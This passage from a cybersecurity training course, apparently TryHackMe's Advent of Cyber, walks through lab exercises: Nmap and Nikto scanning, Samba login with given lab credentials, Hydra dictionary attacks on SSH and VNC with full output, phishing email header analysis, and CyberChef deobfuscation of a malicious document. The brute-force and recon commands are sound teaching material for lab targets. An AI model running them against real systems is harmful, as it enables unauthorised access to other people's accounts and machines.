      • Active Scanning: Active scanning is a scanning method whereby you scan individual endpoints in an IT network to retrieve more detailed information. The active scan involves sending packets or queries directly to specific assets rather than passively collecting that data by "catching" it in transit on the network's traffic. Active scanning is an immediate deep scan performed on targets to get detailed information. These targets can be a single endpoint or a network of endpoints.
      Scanning Techniques
      The following standard techniques are employed to scan a target system or network effectively.

      Network Scanning
      A network is usually a collection of interconnected hosts or computers to share information and resources. Network scanning helps to discover and map a complete network, including any live computer or hosts, open ports, IP addresses, and services running on any live host and operating system. Once the network is mapped, an attacker executes exploits as per the target system and services discovered. For example, a computer in a network with an outdated Apache version enables an attacker to launch an exploit against a vulnerable Apache server.

      Port Scanning
      Per Wikipedia, "In computer networking, a port is a number assigned to uniquely identify a connection endpoint and to direct data to a specific service. At the software level, within an operating system, a port is a logical construct that identifies a specific process or a type of network service".

      Port scanning is a conventional method to examine open ports in a network capable of receiving and sending data. First, an attacker maps a complete network with installed devices/ hosts like firewalls, routers, servers etc., then scans open ports on each live host. Port number varies between 0 to 65,536 based on the type of service running on the host. Port scanning results fall into the following three categories:
      • Closed Ports: The host is not listening to the specific port.
      • Open Ports: The host actively accepts a connection on the specific port.
      • Filtered Ports: This indicates that the port is open; however, the host is not accepting connections or accepting connections as per certain criteria like specific source IP address.
      Vulnerability Scanning
      The vulnerability scanning proactively identifies the network's vulnerabilities in an automated way that helps determine whether the system may be threatened or exploited. Free and paid tools are available that help to identify loopholes in a target system through a pre-build database of vulnerabilities. Pentesters widely use tools such as Nessus and Acunetix to identify loopholes in a system.

      Scanning Tools
      Network Mapper (Nmap)
      Nmap is a popular tool used to carry out port scanning, discover network protocols, identify running services, and detect operating systems on live hosts. You can learn more about the tool by visiting rooms Nmap,  Nmap live host discovery, Nmap basic port scan and Nmap advanced port scan rooms on TryHackMe.

      Deploy the lab machine by clicking Start Lab Machine at the top right of this task. This is the machine Recon McRed wants to scan.

      You can access the tools needed by clicking the Start AttackBox button above. Wait for the AttackBox to load, and launch the terminal from the Desktop. Type nmap in the AttackBox terminal.  A quick summary of important Nmap options is listed below:
      • TCP SYN Scan: Get the list of live hosts and associated ports on the hosts without completing the TCP three-way handshake and making the scan a little stealthier. Usage: nmap -sS MACHINE_IP.
      • Terminal
                   mcred@machine$ nmap -sS MACHINE_IP
        
        Starting Nmap 7.60 ( https://nmap.org ) at 2022-11-08 07:05 GMT
        Nmap scan report for ip-10-10-170-119.eu-west-1.compute.internal (10.10.170.119)
        Host is up (0.0020s latency).
        Not shown: 998 closed ports
        PORT   STATE SERVICE
        22/tcp open  ssh
        80/tcp open  xxxx
        139/tcp open  netbios-ssn
        445/tcp open  microsoft-ds
        MAC Address: 02:B1:18:36:C7:07 (Unknown)
        
        Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
        
                
      • Ping Scan: Allows scanning the live hosts in the network without going deeper and checking for ports services etc. Usage: nmap -sn MACHINE_IP.
      • Operating System Scan: Allows scanning of the type of OS running on a live host. Usage: nmap -O MACHINE_IP.
      • Detecting Services: Get a list of running services on a live host. Usage: nmap -sV MACHINE_IP
      Nikto
      Nikto is open-source software that allows scanning websites for vulnerabilities. It enables looking for subdomains, outdated servers, debug messages etc., on a website. You can access it on the AttackBox by typing nikto -host MACHINE_IP.
      Terminal
                 mcred@machine$ nikto -host MACHINE_IP:80
      - Nikto v2.1.5
      ---------------------------------------------------------------------------
      + Target IP:          MACHINE_IP
      + Target Hostname:    ip-MACHINE_IP.eu-west-1.compute.internal
      + Target Port:        80
      + Start Time:         2022-11-08 08:34:50 (GMT0)
      ---------------------------------------------------------------------------
      + Server: Apache/2.4.29 (Ubuntu)
      + Server leaks inodes via ETags, header found with file /, fields: 0x2aa6 0x5eca7b0d75572 
      + The anti-clickjacking X-Frame-Options header is not present.
      + No CGI Directories found (use '-C all' to force check all possible dirs)
      + Allowed HTTP Methods: OPTIONS, HEAD, GET, POST 
      + OSVDB-3233: /icons/README: Apache default file found.
      + 6544 items checked: 0 error(s) and 4 item(s) reported on remote host
      + End Time:           2022-11-08 08:35:00 (GMT0) (10 seconds)
      ---------------------------------------------------------------------------
      + 1 host(s) tested
      
              

      Elf Recon McRed ran Nmap and Nikto tools against the QA server to find the list of open ports and vulnerabilities. He noticed a Samba service running - hackers can gain access to the system through loosely protected Samba share folders that are not protected over the network. He knows that The Bandit Yeti APT got a few lists of admin usernames and passwords for qa.santagift.shop using OSINT techniques.

      Let's connect to the Samba service using the credentials we found through the source code (OSINT task). Type the following command smb://MACHINE_IP in the address bar and use the following username and password:
      • Username: ubuntu
      • Password: S@nta2022


      Answer the questions below

      1. What is the name of the HTTP server running on the remote host?
      2. What is the name of the service running on port 22 on the QA server?

      3. What flag can you find after successfully accessing the Samba service?

      4. What is the password for the username santahr?

      5. If you want to learn more scanning techniques, we have a module dedicated to Nmap!

      Task 10: [Day 5] Brute-Forcing He knows when you're awake

                             The Story

      Check out Phillip Wylie's video walkthrough for Day 5 here!

      Elf McSkidy asked Elf Recon McRed to search for any backdoor that the Bandit Yeti APT might have installed. If any such backdoor is found, we would learn that the bad guys might be using it to access systems on Santa’s network.

      Learning Objectives

      • Learn about common remote access services.
      • Recognize a listening VNC port in a port scan.
      • Use a tool to find the VNC server’s password.
      • Connect to the VNC server using a VNC client.

      Remote Access Services

      You can easily control your computer system using the attached keyboard and mouse when you are at your computer. How can we manage a computer system that is physically in a different place? The computer might be in a separate room, building, or country. The need for remote administration of computer systems led to the development of various software packages and protocols. We will mention three examples:

      1. SSH
      2. RDP
      3. VNC

      SSH stands for Secure Shell. It was initially used in Unix-like systems for remote login. It provides the user with a command-line interface (CLI) that can be used to execute commands.

      RDP stands for Remote Desktop Protocol; it is also known as Remote Desktop Connection (RDC) or simply Remote Desktop (RD). It provides a graphical user interface (GUI) to access an MS Windows system. When using Remote Desktop, the user can see their desktop and use the keyboard and mouse as if sitting at the computer.

      VNC stands for Virtual Network Computing. It provides access to a graphical interface which allows the user to view the desktop and (optionally) control the mouse and keyboard. VNC is available for any system with a graphical interface, including MS Windows, Linux, and even macOS, Android and Raspberry Pi.

      Based on our systems and needs, we can select one of these tools to control a remote computer; however, for security purposes, we need to think about how we can prove our identity to the remote server.

      Authentication

      Authentication refers to the process where a system validates your identity. The process starts with the user claiming a specific unique identity, such as claiming to be the owner of a particular username. Furthermore, the user needs to prove their identity. This process is usually achieved by one, or more, of the following:

      1. Something you know refers, in general, to something you can memorize, such as a password or a PIN (Personal Identification Number).
      2. Something you have refers to something you own, hardware or software, such as a security token, a mobile phone, or a key file. The security token is a physical device that displays a number that changes periodically.
      3. Something you are refers to biometric authentication, such as when using a fingerprint reader or a retina scan.

      Back to remote access services, we usually use passwords or private key files for authentication. Using a password is the default method for authentication and requires the least amount of steps to set up. Unfortunately, passwords are prone to a myriad of attacks.


      Attacking Passwords

      Passwords are the most commonly used authentication methods. Unfortunately, they are exposed to a variety of attacks. Some attacks don’t require any technical skills, such as shoulder surfing or password guessing. Other attacks require the use of automated tools.

      The following are some of the ways used in attacks against passwords:

      1. Shoulder Surfing: Looking over the victim’s shoulder might reveal the pattern they use to unlock their phone or the PIN code to use the ATM. This attack requires the least technical knowledge.
      2. Password Guessing: Without proper cyber security awareness, some users might be inclined to use personal details, such as birth date or daughter’s name, as these are easiest to remember. Guessing the password of such users requires some knowledge of the target’s personal details; their birth year might end up as their ATM PIN code.
      3. Dictionary Attack: This approach expands on password guessing and attempts to include all valid words in a dictionary or a word list.
      4. Brute Force Attack: This attack is the most exhaustive and time-consuming, where an attacker can try all possible character combinations.

      Let’s focus on dictionary attacks. Over time, hackers have compiled one list after another of passwords leaked from data breaches. One example is RockYou’s list of breached passwords, which you can find on the AttackBox at /usr/share/wordlists/rockyou.txt. The choice of the word list should depend on your knowledge of the target. For instance, a French user might use a French word instead of an English one. Consequently, a French word list might be more promising.

      RockYou’s word list contains more than 14 million unique passwords. Even if we want to try the top 5%, that’s still more than half a million. We need to find an automated way.

      Hacking an Authentication Service

      To start the AttackBox and the attached Lab Machine (VM), click on the “Start the AttackBox” button and click on the “Start Lab Machine” button. Please give it a couple of minutes so that you can follow along.

      On the AttackBox, we open a terminal and use Nmap to scan the lab machine of IP address MACHINE_IP. The terminal window below shows that we have two listening services, SSH and VNC. Let’s see if we can discover the passwords used for these two services.

      AttackBox Terminal
                 root@AttackBox# nmap -sS MACHINE_IP
      Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-16 11:57 EET
      Nmap scan report for MACHINE_IP
      Host is up (0.081s latency).
      Not shown: 998 closed tcp ports (reset)
      PORT     STATE SERVICE
      22/tcp   open  ssh
      5900/tcp open  vnc
      
      Nmap done: 1 IP address (1 host up) scanned in 2.28 seconds
              

      We want an automated way to try the common passwords or the entries from a word list; here comes THC Hydra. Hydra supports many protocols, including SSH, VNC, FTP, POP3, IMAP, SMTP, and all methods related to HTTP. You can learn more about THC Hydra by joining the Hydra room. The general command-line syntax is the following:

      hydra -l username -P wordlist.txt server service where we specify the following options:

      • -l username: -l should precede the username, i.e. the login name of the target. You should omit this option if the service does not use a username.
      • -P wordlist.txt: -P precedes the wordlist.txt file, which contains the list of passwords you want to try with the provided username.
      • server is the hostname or IP address of the target server.
      • service indicates the service in which you are trying to launch the dictionary attack.

      Consider the following concrete examples:

      • hydra -l mark -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh will use mark as the username as it iterates over the provided passwords against the SSH server.
      • hydra -l mark -P /usr/share/wordlists/rockyou.txt ssh://MACHINE_IP is identical to the previous example. MACHINE_IP ssh is the same as ssh://MACHINE_IP.

      You can replace ssh with another protocol name, such as rdp, vnc, ftp, pop3 or any other protocol supported by Hydra.

      There are some extra optional arguments that you can add:

      • -V or -vV, for verbose, makes Hydra show the username and password combinations being tried. This verbosity is very convenient to see the progress, especially if you still need to be more confident in your command-line syntax.
      • -d, for debugging, provides more detailed information about what’s happening. The debugging output can save you much frustration; for instance, if Hydra tries to connect to a closed port and timing out, -d will reveal this immediately.

      In the terminal window below, we use Hydra to find the password of the username alexander that allows access via SSH.

      AttackBox Terminal
                 root@AttackBox# hydra -l alexander -P /usr/share/wordlists/rockyou.txt ssh://MACHINE_IP -V
      Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
      
      Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-15 13:39:52
      [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
      [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
      [DATA] attacking ssh://MACHINE_IP:22/
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "123456" - 1 of 14344399 [child 0] (0/0)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "12345" - 2 of 14344399 [child 1] (0/0)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "password" - 4 of 14344399 [child 3] (0/0)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "princess" - 6 of 14344399 [child 5] (0/0)
      ...
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "poohbear" - 111 of 14344402 [child 1] (0/3)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "patrick" - 112 of 14344402 [child 2] (0/3)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "iloveme" - 113 of 14344402 [child 6] (0/3)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "sakura" - 114 of 14344402 [child 7] (0/3)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "adrian" - 115 of 14344402 [child 15] (0/3)
      [ATTEMPT] target MACHINE_IP - login "alexander" - pass "alexander" - 116 of 14344402 [child 4] (0/3)
      [22][ssh] host: MACHINE_IP   login: alexander   password: sakura
      1 of 1 target successfully completed, 1 valid password found
      Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-15 13:41:01
      
              

      You can experiment by repeating the same command hydra -l alexander -P /usr/share/wordlists/rockyou.txt ssh://MACHINE_IP -V on the AttackBox’s terminal. The password of the username alexander was found to be sakura, the 114th in the rockyou.txt password list. In TryHackMe tasks, we expect any attack to finish within less than five minutes; however, the attack would usually take longer in real-life scenarios. Options for verbosity or debugging can be helpful if you want Hydra to update you about its progress.

      Connecting to a VNC Server

      Many clients can be used to connect to a VNC server. If you are connecting from the AttackBox, we recommend using Remmina. To start Remmina, from the Applications menu in the upper right, click on the Internet group to find Remmina.


      If you get a dialog box to unlock your login keyring, click Cancel.


      We need to select the VNC protocol and type the IP address of the target system, as shown in the figure below.


      Answer the questions below

      1. Use Hydra to find the VNC password of the target with IP address MACHINE_IP. What is the password?
      2. Using a VNC client on the AttackBox, connect to the target of IP address MACHINE_IP. What is the flag written on the target’s screen?

      3. If you liked the topics presented in this task, check out these rooms next: Protocols and Servers 2, Hydra, Password Attacks, John the Ripper. 

      Task 11: [Day 6] Email Analysis It's beginning to look a lot like phishing

                             The Story


      Check out CyberSecMeg's video walkthrough for Day 6 here!

      Elf McBlue found an email activity while analysing the log files. It looks like everything started with an email...

      Learning Objectives

      • Learn what email analysis is and why it still matters.
      • Learn the email header sections.
      • Learn the essential questions to ask in email analysis.
      • Learn how to use email header sections to evaluate an email.
      • Learn to use additional tools to discover email attachments and conduct further analysis.
      • Help the Elf team investigate the suspicious email received.

      What is Email Analysis?

      Email analysis is the process of extracting the email header information to expose the email file details. The email header contains the technical details of the email like sender, recipient, path, return address and attachments. Usually, these details are enough to determine if there is something suspicious/abnormal in the email and decide on further actions on the email, like filtering/quarantining or delivering. This process can be done manually and with the help of tools.

      There are two main concerns in email analysis.

      • Security issues: Identifying suspicious/abnormal/malicious patterns in emails.
      • Performance issues: Identifying delivery and delay issues in emails.

      In this task, we will focus on security concerns on emails, a.k.a. phishing. Before focusing on the hands-on email analysis, you will need to be familiar with the terms "social engineering" and "phishing".

      • Social engineering: Social engineering is the psychological manipulation of people into performing or divulging information by exploiting weaknesses in human nature. These "weaknesses" can be curiosity, jealousy, greed, kindness, and willingness to help someone.
      • Phishing: Phishing is a sub-section of social engineering delivered through email to trick someone into either revealing personal information and credentials or executing malicious code on their computer.

      Phishing emails will usually appear to come from a trusted source, whether that's a person or a business. They include content that tries to tempt or trick people into downloading software, opening attachments, or following links to a bogus website. You can find more information on phishing by completing the phishing module.

      Does the Email Analysis Still Matter?

      Yes! Various academic research and technical reports highlight that phishing attacks are still extremely common, effective and difficult to detect. It is also part of penetration testing and red teaming implementations (paid security assessments that examine organisational cybersecurity). Therefore, email analysis competency is still an important skill to have. Today, various tools and technologies ease and speed up email analysis. Still, a skilled analyst should know how to conduct a manual analysis when there is no budget for automated solutions. It is also a good skill for individuals and non-security/IT people!

      Important Note: In-depth analysis requires an isolated environment to work. It is only suggested to download and upload the received emails and attachments if you are in the authorised team and have an isolated environment. Suppose you are outside the corresponding team or a regular user. In that case, you can evaluate the email header using the raw format and conduct the essential checks like the sender, recipient, spam score and server information. Remember that you have to inform the corresponding team afterwards.

      How to Analyse Emails?

      Before learning how to conduct an email analysis, you need to know the structure of an email header. Let's quickly review the email header structure.

      FieldDetails
      From

      The sender's address.

      To

      The receiver's address, including CC and BCC.

      Date

      Timestamp, when the email was sent.

      Subject

      The subject of the email.

      Return Path

      The return address of the reply, a.k.a. "Reply-To".

      If you reply to an email, the reply will go to the address mentioned in this field.

      Domain Key and DKIM Signatures

      Email signatures are provided by email services to identify and authenticate emails.

      SPF

      Shows the server that was used to send the email.

      It will help to understand if the actual server is used to send the email from a specific domain.

      Message-ID

      Unique ID of the email.

      MIME-Version

      Used MIME version.

      It will help to understand the delivered "non-text" contents and attachments.

      X-Headers

      The receiver mail providers usually add these fields.

      Provided info is usually experimental and can be different according to the mail provider.

      X-Received

      Mail servers that the email went through.

      X-Spam Status

      Spam score of the email.

      X-Mailer

      Email client name.

      Important Email Header Fields for Quick Analysis

      Analysing multiple header fields can be confusing at first glance, but starting from the key points will make the analysis process slightly easier. A simple process of email analysis is shown below.

      Questions to Ask / Required Checks 
      Evaluation

      Do the "From", "To", and "CC" fields contain valid addresses?

      Having invalid addresses is a red flag.

      Are the "From" and "To" fields the same?

      Having the same sender and recipient is a red flag.

      Are the "From" and "Return-Path" fields the same?

      Having different values in these sections is a red flag.

      Was the email sent from the correct server?

      Email should have come from the official mail servers of the sender.

      Does the "Message-ID" field exist, and is it valid?

      Empty and malformed values are red flags.

      Do the hyperlinks redirect to suspicious/abnormal sites?

      Suspicious links and redirections are red flags.

      Do the attachments consist of or contain malware?

      Suspicious attachments are a red flag.

      File hashes marked as suspicious/malicious by sandboxes are a red flag.

      You'll also need an email header parser tool or configure a text editor to highlight and spot the email header's details easily. The difference between the raw and parsed views of the email header is shown below.

      Note: The below example is demonstrated with the tool "Sublime Text". The tool is configured and ready for task usage in the given VM. 


      You can use Sublime Text to view email files without opening and executing any of the linked attachments/commands. You can view the email file in the text editor using two approaches.


      • Right-click on the sample and open it with Sublime Text.
      • Open Sublime Text and drag & drop the sample into the text editor.



      If your file has a ".eml" or ".msg" extension, the sublime text will automatically detect the structure and highlight the header fields for ease of readability. Note that if you are using a ".txt" or any other extension, you will need manually select the highlighting format by using the button located at the lower right corner.




      Text editors are helpful in analysis, but there are some tools that can help you to view the email details in a clearer format. In this task, we will use the "emlAnalyzer" tool to view the body of the email and analyse the attachments. The emlAnalyzer is a tool designed to parse email headers for a better view and analysis process. The tool is ready to use in the given VM. The tool can show the headers, body, embedded URLs, plaintext and HTML data, and attachments. The sample usage query is explained below.


      Query DetailsExplanation
      emlAnalyzerMain command
      -i File to analyse
      -i /path-to-file/filename
      Note: Remember, you can either give a full file path or navigate to the required folder using the "cd" command.
      --headerShow header
      -uShow URLs
      --textShow cleartext data
      --extract-allExtract all attachments

      Sample usage is shown below. Now use the given sample and execute the given command.


      emlAnalyzer Usage
                 user@ubuntu$ emlAnalyzer -i Urgent\:.eml --header --html -u --text --extract-all
       ==============
       ||  Header  ||
       ==============
      X-Pm-Content-Encryption.....end-to-end
      X-Pm-Origin.................internal
      Subject.....................Urgent: Blue section is down. Switch to the load share plan!
      From........................[REDACTED]
      Date........................[REDACTED]
      Mime-Version................[REDACTED]
      Content-Type................[REDACTED]
      To..........................[REDACTED]
      X-Attached..................[REDACTED]
      Message-Id..................[REDACTED]
      X-Pm-Spamscore..............[REDACTED]
      Received....................[REDACTED]
      X-Original-To...............[REDACTED]
      Return-Path.................[REDACTED]
      Delivered-To................[REDACTED]
       =========================
       ||  URLs in HTML part  ||
       =========================
      [+] No URLs found in the html
       =================
       ||  Plaintext  ||
       =================
      [+] Email contains no plaintext
       ============
       ||  HTML  ||
       ============
      Dear Elves,.......
       =============================
       ||  Attachment Extracting  ||
       =============================
      [+] Attachment [1] "Division_of_........
              

      At this point, you should have completed the following checks.


      • Sender and recipient controls
      • Return path control
      • Email server control
      • Message-ID control
      • Spam value control 
      • Attachment control (Does the email contains any attachment?)

      Additionally, you can use some Open Source Intelligence (OSINT) tools to check email reputation and enrich the findings. Visit the given site below and do a reputation check on the sender address and the address found in the return path.


      • Tool: https://emailrep.io/



      Here, if you find any suspicious URLs and IP addresses, consider using some OSINT tools for further investigation. While we will focus on using Virustotal and InQuest, having similar and alternative services in the analyst toolbox is worthwhile and advantageous.


      ToolPurpose
      VirusTotal
      A service that provides a cloud-based detection toolset and sandbox environment.
      InQuest
      A service provides network and file analysis by using threat analytics.
      IPinfo.io
      A service that provides detailed information about an IP address by focusing on geolocation data and service provider.
      Talos Reputation
      An IP reputation check service is provided by Cisco Talos.
      Urlscan.io
      A service that analyses websites by simulating regular user behaviour.
      Browserling
      A browser sandbox is used to test suspicious/malicious links.
      Wannabrowser
      A browser sandbox is used to test suspicious/malicious links.

      After completing the mentioned initial checks, you can continue with body and attachment analysis. Now, let's focus on analysing the email body and attachments. The sample doesn't have URLs, only an attachment. You need to compute the value of the file to conduct file-based reputation checks and further your analysis. As shown below, you can use the sha256sum tool/utility to calculate the file's hash value. 


      Note: Remember to navigate to the file's location before attempting to calculate the file's hash value.


      emlAnalyzer Usage
                 user@ubuntu$ sha256sum Division_of....
      0827bb9a.... 
              


      Once you get the sum of the file, you can go for further analysis using the VirusTotal.


      • Tool: https://www.virustotal.com/gui/home/upload

      Now, visit the tool website and use the SEARCH option to conduct hash-based file reputation analysis. After receiving the results, you will have multiple sections to discover more about the hash and associated file. Sections are shown below.

      • Search the hash value
      • Click on the BEHAVIOR tab.
      • Analyse the details.

      After that, continue on reputation check on InQuest to enrich the gathered data.


      • Tool: https://labs.inquest.net/

      Now visit the tool website and use the INDICATOR LOOKUP option to conduct hash-based analysis.


      • Search the hash value
      • Click on the SHA256 hash value highlighted with yellow to view the detailed report.
      • Analyse the file details.




      After finishing the shown steps, you are finished with the initial email analysis. The next steps are creating a report of findings and informing the team members/manager in the appropriate format.


      Now is the time to put what we've learned into practice. Click on the Start Lab Machine button at the top of the task to launch the Lab Machine. The machine will start in a split-screen view. In case the VM is not visible, use the blue Show Split View button at the top-right of the page. Now, back to elf McSkidy analysing the suspicious email that might have helped the Bandit Yeti infiltrate Santa's network.


      IMPORTANT NOTES:

      • Given email sample contains a malicious attachment.
      • Never directly interact with unknown email attachments outside of an isolated environment.

      Answer the questions below

      1. What is the email address of the sender?
      2. What is the return address?

      3. On whose behalf was the email sent?

      4. What is the X-spam score?

      5. What is hidden in the value of the Message-ID field?

      6. Visit the email reputation check website provided in the task.
        What is the reputation result of the sender's email address?

      7. Check the attachments.
        What is the filename of the attachment?

      8. What is the hash value of the attachment?

      9. Visit the Virus Total website and use the hash value to search.
        Navigate to the behaviour section.
        What is the second tactic marked in the Mitre ATT&CK section?

      10. Visit the InQuest website and use the hash value to search.
        What is the subcategory of the file?

      11. If you want to learn more about phishing and analysing emails, check out the Phishing module! 

      Task 12: [Day 7] CyberChef Maldocs roasting on an open fire

                             The Story

      Check out SecurityNinja's video walkthrough for Day 7 here!

      In the previous task, we learned that McSkidy was indeed a victim of a spearphishing campaign that also contained a suspicious-looking document Division_of_labour-Load_share_plan.doc. McSkidy accidentally opened the document, and it's still unknown what this document did in the background. McSkidy has called on the in-house expert Forensic McBlue to examine the malicious document and find the domains it redirects to. Malicious documents may contain a suspicious command to get executed when opened, an embedded malware as a dropper (malware installer component), or may have some C2 domains to connect to.

      Learning Objectives

      • What is CyberChef
      • What are the capabilities of CyberChef
      • How to leverage CyberChef to analyze a malicious document
      • How to deobfuscate, filter and parse the data

      Lab Deployment

      For today's task, you will need to deploy the machine attached to this task by pressing the green "Start Lab Machine" button located at the top-right of this task. The machine should launch in a split-screen view. If it does not, you will need to press the blue "Show Split View" button near the top-right of this page.

      CyberChef Overview

      CyberChef is a web-based application - used to slice, dice, encode, decode, parse and analyze data or files. The CyberChef layout is explained below. An offline version of cyberChef is bookmarked in Firefox on the machine attached to this task.

      1. Add the text or file in panel 1.
      2. Panel 2 contains various functions, also known as recipes that we use to encode, decode, parse, search or filter the data.
      3. Drag the functions or recipes from Panel 2 into Panel 3 to create a recipe.
      4. The output from the recipes is shown in panel 4.
      5. Click on bake to run the functions added in Panel 3 in order. We can select AutoBake to automatically run the recipes as they are added.

      Using CyberChef for mal doc analysis

      Let's utilize the functions, also known as recipes, from the left panel in CyberChef to analyze the malicious doc. Each step is explained below:

      1) Add the File to CyberChef

      Drag the invoice.doc file from the desktop to panel 1 as input, as shown below. Alternatively, the user can add the Division_of_labour-Load_share_plan.doc file by Open file as input icon in the top-right area of the CyberChef page.


      2) Extract strings

      Strings are ASCII and Unicode-printable sequences of characters within a file. We are interested in the strings embedded in the file that could lead us to suspicious domains. Use the strings function from the left panel to extract the strings by dragging it to panel 3 and selecting All printable chars as shown below:


      If we examine the result, we can see some random strings of different lengths and some obfuscated strings. Narrow down the search to show the strings with a larger length. Keep increasing the minimum length until you remove all the noise and are only left with the meaningful string, as shown below:


      3) Remove Pattern

      Attackers often add random characters to obfuscate the actual value. If we examine, we can find some repeated characters [ _ ]. As these characters are common in different places, we can use regex (regular expressions) within the Find / Replace function to find and remove these repeated characters.

      To use regex, we will put characters within the square brackets [ ] and use backslash \ to escape characters. In this case, the final regex will be [\[\]\n_] where \n represents the Line feed, as shown below:


      It's evident from the result that we are dealing with a PowerShell script, and it is using base64 Encoded string to hide the actual code.

      4) Drop Bytes

      To get access to the base64 string, we need to remove the extra bytes from the top. Let's use the Drop bytes function and keep increasing the number until the top bytes are removed.


      5) Decode base64

      Now we are only left with the base64 text. We will use the From base64 function to decode this string, as shown below:


      6) Decode UTF-16

      The base64 decoded result clearly indicates a PowerShell script which seems like an interesting finding. In general, the PowerShell scripts use the Unicode UTF-16LE encoding by default. We will be using the Decode text function to decode the result into UTF-16E, as shown below:


      7) Find and Remove Common Patterns

      Forensic McBlue observes various repeated characters  ' ( ) + ' ` " within the output, which makes the result a bit messy. Let's use regex in the Find/Replace function again to remove these characters, as shown below. The final regex will be ['()+'"`].


      8) Find and Replace

      If we examine the output, we will find various domains and some weird letters ]b2H_ before each domain reference. A replace function is also found below that seems to replace this ]b2H_ with http.


      Let's use the find / Replace function to replace ]b2H_ with http as shown below:


      9) Extract URLs

      The result clearly shows some domains, which is what we expected to find. We will use the Extract URLs function to extract the URLs from the result, as shown below:


      10) Split URLs with @

      The result shows that each domain is followed by the @ character, which can be removed using the split function as shown below:


      11) Defang URL

      Great - We have finally extracted the URLs from the malicious document; it looks like the document was indeed malicious and was downloading a malicious program from a suspicious domain.

      Before passing these domains to the SOC team for deep malware analysis, it is recommended to defang them to avoid accidental clicks. Defanging the URLs makes them unclickable. We will use Defang URL to do the task, as shown below:


      Great work! 

      It's time to share the URLs and the malicious document with the Malware Analysts.

      Answer the questions below

      1. What is the version of CyberChef found in the attached VM?
      2. How many recipes were used to extract URLs from the malicious doc?

      3. We found a URL that was downloading a suspicious file; what is the name of that malware?

      4. What is the last defanged URL of the bandityeti domain found in the last step?

      5. What is the ticket found in one of the domains? (Format: Domain/<GOLDEN_FLAG>)

      6. If you liked the investigation today, you might also enjoy the Security Information and Event Management module! 

      Task 13: [Day 8] Smart Contracts Last Christmas I gave you my ETH

                                     The Story


      After it was discovered that Best Festival Company was now on the blockchain and attempting to mint their cryptocurrency, they were quickly compromised. Best Festival Company lost all its currency in the exchange because of the attack. It is up to you as a red team operator to discover how the attacker exploited the contract and attempt to recreate the attack against the same target contract.

      Learning Objectives

      • Explain what smart contracts are, how they relate to the blockchain, and why they are important.
      • Understand how contracts are related, what they are built upon, and standard core functions.
      • Understand and exploit a common smart contract vulnerability.

      What is a Blockchain?

      One of the most recently innovated and discussed technologies is the blockchain and its impact on modern computing. While historically, it has been used as a financial technology, it's recently expanded into many other industries and applications. Informally, a blockchain acts as a database to store information in a specified format and is shared among members of a network with no one entity in control.

      By definition, a blockchain is a digital database or ledger distributed among nodes of a peer-to-peer network. The blockchain is distributed among "peers" or members with no central servers, hence "decentralized." Due to its decentralized nature, each peer is expected to maintain the integrity of the blockchain. If one member of the network attempted to modify a blockchain maliciously, other members would compare it to their blockchain for integrity and determine if the whole network should express that change.

      The core blockchain technology aims to be decentralized and maintain integrity; cryptography is employed to negotiate transactions and provide utility to the blockchain.

      But what does this mean for security? If we ignore the core blockchain technology itself, which relies on cryptography, and instead focus on how data is transferred and negotiated, we may find the answer concerning. Throughout this task, we will continue to investigate the security of how information is communicated throughout the blockchain and observe real-world examples of practical applications of blockchain.

      Introduction to Smart Contracts

      A majority of practical applications of blockchain rely on a technology known as a smart contract. Smart contracts are most commonly used as the backbone of DeFi applications (Decentralized Finance applications) to support a cryptocurrency on a blockchain. DeFi applications facilitate currency exchange between entities; a smart contract defines the details of the exchange. A smart contract is a program stored on a blockchain that runs when pre-determined conditions are met.

      Smart contracts are very comparable to any other program created from a scripting language. Several languages, such as Solidity, Vyper, and Yul, have been developed to facilitate the creation of contracts. Smart contracts can even be developed using traditional programming languages such as Rust and JavaScript; at its core, smart contracts wait for conditions and execute actions, similar to traditional logic.

      Functionality of a Smart Contract

      Building a smart contract may seem intimidating, but it greatly contrasts with core object-oriented programming concepts.

      Before diving deeper into a contract's functionality, let's imagine a contract was a class. Depending on the fields or information stored in a class, you may want individual fields to be private, preventing access or modification unless conditions are met. A smart contract's fields or information should be private and only accessed or modified from functions defined in the contract. A contract commonly has several functions that act similarly to accessors and mutators, such as checking balance, depositing, and withdrawing currency.

      Once a contract is deployed on a blockchain, another contract can then use its functions to call or execute the functions we just defined above.

      If we controlled Contract A and Contract B wanted to first deposit 1 Ethereum, and then withdraw 1 Ethereum from Contract A,

      Contract B calls the deposit function of Contract A.

      Contract A authorizes the deposit after checking if any pre-determined conditions need to be met.


      Contract B calls the withdraw function of Contract A.

      Contract A authorizes the deposit if the pre-determined conditions for withdrawal are met.


      Contract B can execute other functions after the Ether is sent from Contract A but before the function resolves.


      How do Vulnerabilities in Smart Contracts Occur?

      Most smart contract vulnerabilities arise due to logic issues or poor exception handling. Most vulnerabilities arise in functions when conditions are insecurely implemented through the previously mentioned issues.

      Let's take a step back to Contract A in the previous section. The conditions of the withdraw function are,

      • Balance is greater than zero
      • Send Ethereum

